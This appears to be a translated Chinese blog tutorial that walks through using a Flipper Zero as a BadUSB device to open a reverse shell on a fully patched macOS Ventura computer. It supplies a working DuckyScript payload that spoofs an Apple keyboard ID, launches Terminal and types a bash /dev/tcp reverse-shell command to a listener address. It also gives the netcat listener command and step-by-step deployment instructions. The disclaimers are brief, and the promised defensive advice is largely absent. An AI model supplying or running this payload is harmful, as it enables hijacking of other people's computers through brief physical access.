在我的 Ubuntu 服务器上使用 Flipper Zero、一个简短的 12 行 DuckyScript 文本文件和一个远程侦听器,我能够在我完全修补的最新 Ventura macOS 计算机上获得一个 shell。 在我的实验室环境中,我使用 Flipper Zero 作为渗透测试设备来测试我的服务器和桌面系统中的漏洞。 Flipper Zero 是我们首选的道德黑客工具,因为它提供了无数可用的有效负载,具有屏幕菜单选择工具,并使用进度显示来提供反馈。 本文是一个示例,说明如何将 Flipper Zero 用作道德渗透测试 BadUSB 设备以及如何避免成为此类漏洞利用的受害者。不要在您不拥有或无权使用的计算机上使用它。此代码不会试图隐藏入侵检测系统 (IDS)、入侵防御系统 (IPS)、网络检测系统、防火墙或防病毒 (AV) 软件。 BadUSB 负载 Flipper Zero BadUSB 以及其他几个 BadUSB 设备使用用 DuckyScript 编写的有效负载。一种简单的脚本语言,用于执行导致键盘注入攻击的击键。 Duckyscript Payloads 的一个很好的起始参考点是 Hak5 官方网站: .在这里您可以找到使用 DuckScript 的示例和文档。 https://shop.hak5.org/blogs/payloads/tagged/usb-rubber-ducky 让我们写一些 DuckyScript 您可以使用现成的脚本,也可以学习编写自己的脚本。我们将通过简单的分步演练向您展示如何在 macOS 计算机上利用反向 shell。 使用您最喜欢的文本编辑器并输入以下文本。 macOS 默认安装了 TextEdit 应用程序,因此我们将使用它。 ID 05ac:021e Apple:Keyboard DELAY 1000 GUI SPACE DELAY 200 STRING terminal DELAY 200 ENTER DELAY 1000 STRING bash -i >& /dev/tcp/10.10.10.157/4444 0>&1 DELAY 1000 ENTER DELAY 1000 对于本演练,我们不需要对 DuckyScript 了解太多,因此我们将复习一下我们的脚本使用的几个命令。我们实际上只使用了五个不同的命令。 命令 描述 ID 05ac:021e Apple:键盘 这一行告诉 macOS 我们的 Flipper Zero 实际上是一个 Apple 键盘。如果您不使用此行,macOS 会显示键盘设置助手对话框,这将导致您的脚本失败。 延迟 此命令指示操作系统等待一段时间。如果我们不使用这些延迟,脚本将运行得太快而失败。 界面空间 按 Apple Command 键和空格键打开“Spotlight 搜索”窗口。 STRING 终端 在 Spotlight 搜索窗口中输入字符串“Terminal” 进入 按键盘上的 ENTER 或 Return 键。按下 ENTER 键后,macOS 启动终端窗口 (/Applications/Utilities/Terminal) 字符串 bash -i >& /dev/tcp/10.10.10.157/4444 0>&1 此命令将文本输入终端窗口,该窗口建立到 Netcat 服务器的连接,该服务器侦听端口 4444 上的 10.10.10.157 将 IP 地址 和端口 更改为您服务器的 IP 地址和端口。 10.10.10.157 4444 将此文件作为 保存到您的磁盘。 Flipper Zero 上的 目录下没有子目录组织,因此如果您为不同的操作系统使用多个有效载荷,请使用对您有意义的命名约定,以便您知道它的作用。 rev_shell_macos.txt badusb 安装 qflipper 应用程序 如果您还没有安装 qflipper 应用程序,请转到官方 Flipper 零更新页面并选择适用于您的操作系统的安装程序。该页面是固件更新页面,但底部是安装 qflipper 应用程序的链接。 https://flipperzero.one/更新 https://flipperzero.one/update?embedable=true 按照适用于您的操作系统的说明安装 qflipper 应用程序。 将 Duckyscript 放到脚蹼零上 打开 qflipper 应用程序并选择以红色突出显示的文件夹图标。 选择并双击 图标以查看内容。 SD 卡 找到我们之前创建的 文件并将其拖到 文件夹中。 rev_shell_macos.txt badusb 文件复制完成后,从计算机中取出 Flipper Zero。 等待反向 Shell Flipper Zero BadUSB 已准备就绪,可以使用了。但首先,我们需要在我们的服务器上设置我们的远程监听器。在我们的 Ubuntu 服务器上,使用以下命令启动 Netcat 侦听器: $ nc -nlvp 4444 下表列出了命令的细分。同样,除了等待传入连接外,您真的不需要知道使用此命令发生了什么。 命令 选项 数控 网猫命令 -nlvp ( ) 无 DNS 解析,( ) 侦听传入连接,( ) 详细输出,( ) 端口 n l v p 4444 要监听的端口号 现在我们的 Netcat 侦听器已准备就绪并等待传入连接,我们可以继续进行 Flipper Zero BadUSB 攻击。 启动 BadUSB 反向 Shell 困难的部分已经完成。 Flipper Zero BadUSB 文件已写入,移动到 Flipper Zero,Netcat 侦听器正在等待连接。 reverse_shell_macos.txt 找到 Bad USB 菜单并选择 Run 按钮。暂时不要将 Flipper Zero 连接到计算机。 Flipper Zero 会在需要连接设备时通知您。 导航到我们在上一步中复制的 DuckyScript 文件。如果您没有看到该文件,那么您将它复制到了错误的目录。选择 并单击运行按钮。 rev_shell_macos 当您看到 警报时,您可以将 Flipper Zero 连接到 iMac 或 MacBook 的 USB 端口。单击运行按钮。 连接到 USB 您可以在主窗口中查看 BadUSB 脚本的进度。一旦状态达到 100%,负载就完成了,您可以移除 Flipper Zero。 如果您正在观看 iMac 的计算机显示器,您可以在执行 DuckyScript 时看到该漏洞。我们 Ubuntu 服务器上的 Netcat 侦听器显示成功请求的结果。 控制您的计算机 您现在可以通过反向 shell 控制 macOS 计算机。在 BSD Linux 版本上运行,您可以使用 Unix 命令行工具和 BASH shell,就好像您坐在 iMac 的物理键盘上一样。 您可以使用 、 、 或 等常规 Linux 命令来导航文件系统和操作操作系统。 whoami pwd ls cd 下一步 现在您已经了解 Flipper Zero 如何作为 BadUSB 设备运行,您可以创建自己的脚本。使用 Hak5 站点或通过 Google 搜索可用的众多 DuckyScript GitHub 存储库之一作为您自己的 Duckyscript 文件的起点。 合法合乎道德地经营。在您拥有或有权使用的设备上使用此工具。